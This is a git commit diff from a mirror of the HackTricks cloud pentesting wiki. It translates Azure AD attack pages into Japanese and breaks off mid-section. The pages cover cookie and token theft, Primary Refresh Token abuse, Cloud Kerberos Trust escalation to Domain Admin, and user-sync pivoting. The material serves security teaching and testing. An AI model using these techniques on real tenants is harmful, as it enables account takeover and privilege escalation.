mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-26 11:14:40 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
13
.github/pull_request_template.md
vendored
13
.github/pull_request_template.md
vendored
@@ -1,16 +1,11 @@
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
私たちはあなたの知識を重視し、コンテンツの共有を奨励します。必ず、自分が所有しているコンテンツまたは元の著者から共有の許可を得ているコンテンツのみをアップロードしてください(追加したテキスト内または修正しているページの最後に著者への参照を追加すること)。知的財産権への尊重は、すべての人にとって信頼できる合法的な共有環境を育みます。
|
||||
|
||||
## HackTricks Training
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
[ARTE certification](https://training.hacktricks.xyz/courses/arte) 試験に3つのフラグではなく2つのフラグで合格するために追加している場合は、PRを `arte-<username>` と呼ぶ必要があります。
|
||||
|
||||
また、文法/構文の修正は試験のフラグ削減には受け入れられないことを忘れないでください。
|
||||
|
||||
いずれにせよ、HackTricksへの貢献に感謝します!
|
||||
|
||||
@@ -4,66 +4,62 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### On-Prem machines connected to cloud
|
||||
### クラウドに接続されたオンプレミスのマシン
|
||||
|
||||
There are different ways a machine can be connected to the cloud:
|
||||
マシンがクラウドに接続される方法はいくつかあります:
|
||||
|
||||
#### Azure AD joined
|
||||
#### Azure AD に参加
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Workplace joined
|
||||
#### Workplace に参加
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Hybrid joined
|
||||
#### ハイブリッド参加
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Workplace joined on AADJ or Hybrid
|
||||
#### AADJ またはハイブリッドでの Workplace 参加
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
### トークンと制限 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
|
||||
In Azure AD, there are different types of tokens with specific limitations:
|
||||
Azure AD には、特定の制限を持つさまざまなタイプのトークンがあります:
|
||||
|
||||
- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
|
||||
- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
|
||||
- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
|
||||
- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
|
||||
- **アクセストークン**:Microsoft Graph のような API やリソースにアクセスするために使用されます。特定のクライアントとリソースに結びついています。
|
||||
- **リフレッシュトークン**:新しいアクセストークンを取得するためにアプリケーションに発行されます。発行されたアプリケーションまたはアプリケーションのグループによってのみ使用できます。
|
||||
- **プライマリリフレッシュトークン (PRT)**:Azure AD に参加した、登録された、またはハイブリッド参加したデバイスでのシングルサインオンに使用されます。ブラウザのサインインフローや、デバイス上のモバイルおよびデスクトップアプリケーションへのサインインに使用できます。
|
||||
- **Windows Hello for Business キー (WHFB)**:パスワードなしの認証に使用されます。プライマリリフレッシュトークンを取得するために使用されます。
|
||||
|
||||
The most interesting type of token is the Primary Refresh Token (PRT).
|
||||
最も興味深いタイプのトークンはプライマリリフレッシュトークン (PRT) です。
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Pivoting Techniques
|
||||
### ピボッティング技術
|
||||
|
||||
From the **compromised machine to the cloud**:
|
||||
**侵害されたマシンからクラウドへ**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
|
||||
- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md):ブラウザから Azure クッキーを盗み、それを使用してログイン
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md):クラウドと同期されたローカルプロセスのメモリをダンプし(Excel、Teams など)、クリアテキストのアクセストークンを見つける。
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT をフィッシングして悪用する
|
||||
- [**Pass the PRT**](pass-the-prt.md):デバイスの PRT を盗んで Azure にアクセスする
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRT に基づいて証明書を生成し、1 台のマシンから別のマシンにログインする
|
||||
|
||||
From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
|
||||
**AD からクラウドへの侵害、クラウドから AD への侵害**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
|
||||
- **クラウドからオンプレミスにピボットする別の方法は** [**Intune の悪用**](../az-services/intune.md)です。
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
このツールは、Azure AD にマシンを登録して PRT を取得し、PRT(正当または盗まれた)を使用してさまざまな方法でリソースにアクセスするなど、いくつかのアクションを実行することを可能にします。これらは直接的な攻撃ではありませんが、PRT を使用してさまざまな方法でリソースにアクセスするのを容易にします。詳細は [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) を参照してください。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,64 +1,58 @@
|
||||
# Az AD Connect - Hybrid Identity
|
||||
# Az AD Connect - ハイブリッドアイデンティティ
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
|
||||
**オンプレミス Active Directory (AD)** と **Azure AD** の統合は **Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されています。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
|
||||
- Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
|
||||
- **パススルー認証 (PTA)**:
|
||||
- オンプレミス AD のエージェントが侵害される可能性があり、Azure 接続のためのユーザーパスワードの検証が可能になります(オンプレからクラウドへ)。
|
||||
- 新しい場所(クラウドからオンプレ)で認証を検証するために新しいエージェントを登録する可能性。
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
|
||||
- **パスワードハッシュ同期 (PHS)**:
|
||||
- AD から特権ユーザーの平文パスワードを抽出する可能性があり、高特権の自動生成された AzureAD ユーザーの資格情報を含みます。
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
|
||||
- **フェデレーション**:
|
||||
- SAML 署名に使用される秘密鍵の盗難により、オンプレおよびクラウドのアイデンティティのなりすましが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
|
||||
- **シームレス SSO:**
|
||||
- Kerberos シルバーチケットの署名に使用される `AZUREADSSOACC` ユーザーのパスワードの盗難により、任意のクラウドユーザーのなりすましが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
|
||||
- **クラウド Kerberos トラスト**:
|
||||
- AzureAD ユーザー名と SID を操作し、AzureAD から TGT を要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
|
||||
- **デフォルトアプリケーション**:
|
||||
- アプリケーション管理者アカウントまたはオンプレミス同期アカウントを侵害することで、ディレクトリ設定、グループメンバーシップ、ユーザーアカウント、SharePoint サイト、および OneDrive ファイルの変更が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
|
||||
|
||||
To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
|
||||
各統合方法に対して、ユーザーの同期が行われ、オンプレ AD に `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレス SSO** を促進し、オンプレドメインに参加している Azure AD コンピューターの自動サインインを可能にします。
|
||||
|
||||
**Azure AD Connect** のインストールを確認するには、以下の PowerShell コマンドを使用できます。このコマンドは **AzureADConnectHealthSync** モジュールを利用しており(Azure AD Connect にデフォルトでインストールされています)、次のようになります:
|
||||
```powershell
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,52 +2,48 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **の要約です。攻撃に関するさらなる情報はここで確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
### Trust
|
||||
### 信頼
|
||||
|
||||
When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates.
|
||||
Azure ADとの信頼が確立されると、**ADに読み取り専用ドメインコントローラー(RODC)が作成されます。** **RODCコンピュータアカウント**は**`AzureADKerberos$`**という名前です。また、**`krbtgt_AzureAD`**という名前の二次`krbtgt`アカウントも作成されます。このアカウントには、Azure ADが作成するチケットに使用される**Kerberosキー**が含まれています。
|
||||
|
||||
Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators...
|
||||
したがって、このアカウントが侵害されると、任意のユーザーを偽装することが可能になるかもしれません... ただし、このアカウントはドメイン管理者、エンタープライズ管理者、管理者などの一般的な特権ADグループのためのチケットを作成することができないため、これは真実ではありません。
|
||||
|
||||
> [!CAUTION]
|
||||
> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
|
||||
> ただし、実際のシナリオでは、これらのグループに属さない特権ユーザーが存在します。したがって、**新しいkrbtgtアカウントが侵害された場合、それを使用して彼らを偽装することができる可能性があります。**
|
||||
|
||||
### Kerberos TGT
|
||||
|
||||
Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\
|
||||
Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service.
|
||||
さらに、ユーザーがハイブリッドアイデンティティを使用してWindowsで認証すると、**Azure ADはPRTと共に部分的なKerberosチケットを発行します。** TGTは部分的です。なぜなら、**AzureADはオンプレミスADのユーザーに関する情報が限られているからです**(セキュリティ識別子(SID)や名前など)。\
|
||||
Windowsはその後、`krbtgt`サービスのためのサービスチケットを要求することで、この部分的なTGTを完全なTGTに**交換することができます**。
|
||||
|
||||
### NTLM
|
||||
|
||||
As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**.
|
||||
Kerberos認証をサポートしないサービスがある可能性があるため、**二次`krbtgt`**キーを使用して署名された**部分的TGTを要求することが可能です**。これは、リクエストの**PADATA**部分に**`KERB-KEY-LIST-REQ`**フィールドを含めることで行われ、その後、**応答にNTハッシュを含む**主`krbtgt`キーで署名された完全なTGTを取得します。
|
||||
|
||||
## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
## Cloud Kerberos Trustを悪用してドメイン管理者を取得する <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
|
||||
When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**.
|
||||
AzureADが**部分的TGT**を生成するとき、それはユーザーに関する詳細を使用します。したがって、グローバル管理者が**AzureAD内のユーザーのセキュリティ識別子と名前のデータを変更できる場合**、そのユーザーのTGTを要求すると、**セキュリティ識別子は異なるものになります**。
|
||||
|
||||
It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID.
|
||||
Microsoft GraphやAzure AD Graphを通じてそれを行うことはできませんが、**API Active Directory Connect**が使用する、同期されたユーザーを作成および更新するためのAPIを使用することが可能です。これにより、グローバル管理者は**任意のハイブリッドユーザーのSAM名とSIDを変更することができ**、その後認証を行うと、変更されたSIDを含む部分的TGTを取得します。
|
||||
|
||||
Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
|
||||
AADInternalsを使用して、[Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a)コマンドレットを介して同期されたユーザーを更新することができることに注意してください。
|
||||
|
||||
### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
### 攻撃の前提条件 <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
|
||||
The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites:
|
||||
攻撃の成功とドメイン管理者権限の取得は、特定の前提条件を満たすことに依存します:
|
||||
|
||||
- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
|
||||
- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
|
||||
- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
|
||||
- Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
|
||||
- The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
|
||||
- 同期APIを介してアカウントを変更する能力が重要です。これは、グローバル管理者の役割を持つか、AD Connect同期アカウントを持つことで達成できます。あるいは、ハイブリッドアイデンティティ管理者の役割でも十分で、AD Connectを管理し、新しい同期アカウントを作成する能力を付与します。
|
||||
- **ハイブリッドアカウント**の存在が不可欠です。このアカウントは、被害者アカウントの詳細で変更可能であり、認証のためにアクセス可能である必要があります。
|
||||
- Active Directory内の**ターゲット被害者アカウント**を特定する必要があります。攻撃はすでに同期された任意のアカウントに対して実行できますが、Azure ADテナントはオンプレミスのセキュリティ識別子を複製していない必要があり、チケットを取得するために未同期のアカウントを変更する必要があります。
|
||||
- さらに、このアカウントはドメイン管理者に相当する権限を持っている必要がありますが、AzureAD RODCによって無効なTGTが生成されないように、一般的なAD管理者グループのメンバーであってはなりません。
|
||||
- 最も適切なターゲットは、**AD Connect Syncサービスによって使用されるActive Directoryアカウント**です。このアカウントはAzure ADと同期されておらず、そのSIDは有効なターゲットとなり、パスワードハッシュを同期する役割のためにドメイン管理者に相当する権限を本質的に持っています(パスワードハッシュ同期が有効であると仮定)。エクスプレスインストールのドメインでは、このアカウントは**MSOL\_**で始まります。他のインスタンスでは、ドメインオブジェクト上のディレクトリ複製権限を持つすべてのアカウントを列挙することでアカウントを特定できます。
|
||||
|
||||
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
### 完全な攻撃 <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
元の投稿で確認してください: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,6 @@
|
||||
|
||||
**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
|
||||
このブログ記事では、Azure ADにおける特権昇格の脆弱性について説明しています。これにより、アプリケーション管理者や侵害されたオンプレミス同期アカウントがアプリケーションに資格情報を割り当てることで特権を昇格させることができます。この脆弱性は、Azure ADのアプリケーションおよびサービスプリンシパルの取り扱いに関する「設計上」の動作に起因しており、特にデフォルトのOffice 365アプリケーションに影響を与えます。報告はされていますが、Microsoftは管理者権限の割り当て動作の文書化により、この問題を脆弱性とは見なしていません。この記事では、詳細な技術的洞察を提供し、Azure AD環境におけるサービスプリンシパルの資格情報の定期的なレビューを推奨しています。詳細な情報については、元のブログ記事を訪問してください。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,30 @@
|
||||
# Az- Synchronising New Users
|
||||
# Az- 新しいユーザーの同期
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
|
||||
## AzureADユーザーをオンプレミスに同期して、オンプレミスからAzureADにエスカレートする
|
||||
|
||||
I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
|
||||
|
||||
- The **AzureAD user** needs to have a proxy address (a **mailbox**)
|
||||
- License is not required
|
||||
- Should **not be already synced**
|
||||
新しいユーザーを**AzureADからオンプレミスADに同期**するための要件は次のとおりです。
|
||||
|
||||
- **AzureADユーザー**はプロキシアドレス(**メールボックス**)を持っている必要があります
|
||||
- ライセンスは必要ありません
|
||||
- **すでに同期されていないこと**
|
||||
```powershell
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成する**だけで済みます。
|
||||
|
||||
When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
|
||||
|
||||
An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
|
||||
自動的に、このユーザーは**AzureADからオンプレミスADユーザーに同期されます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
|
||||
> この攻撃を実行するために**ドメイン管理者は必要ありません**、**新しいユーザーを作成する**権限があれば十分です。
|
||||
>
|
||||
> Also, this **won't bypass MFA**.
|
||||
> また、これは**MFAをバイパスしません**。
|
||||
>
|
||||
> Moreover, this was reported an **account sync is no longer possible for admin accounts**.
|
||||
> さらに、**管理者アカウントのアカウント同期はもはや不可能である**と報告されています。
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,89 +2,88 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認可**を含みます。典型的なフェデレーションには、**リソースの共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
|
||||
|
||||
You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available.
|
||||
オンプレミス環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**.
|
||||
基本的に、フェデレーションでは、すべての**認証**が**オンプレミス**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレミスの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
|
||||
|
||||
**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers.
|
||||
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認可の**情報**の**交換**に使用されます。
|
||||
|
||||
In any federation setup there are three parties:
|
||||
フェデレーションのセットアップには、3つの当事者が存在します:
|
||||
|
||||
- User or Client
|
||||
- Identity Provider (IdP)
|
||||
- Service Provider (SP)
|
||||
- ユーザーまたはクライアント
|
||||
- アイデンティティプロバイダー (IdP)
|
||||
- サービスプロバイダー (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
(画像は https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps から)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.
|
||||
2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.
|
||||
3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user.
|
||||
4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service.
|
||||
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。
|
||||
2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
|
||||
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
|
||||
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証されれば、IdPとの信頼関係を示し、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
|
||||
|
||||
**If you want to learn more about SAML authentication and common attacks go to:**
|
||||
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
## ピボッティング
|
||||
|
||||
- AD FS is a claims-based identity model.
|
||||
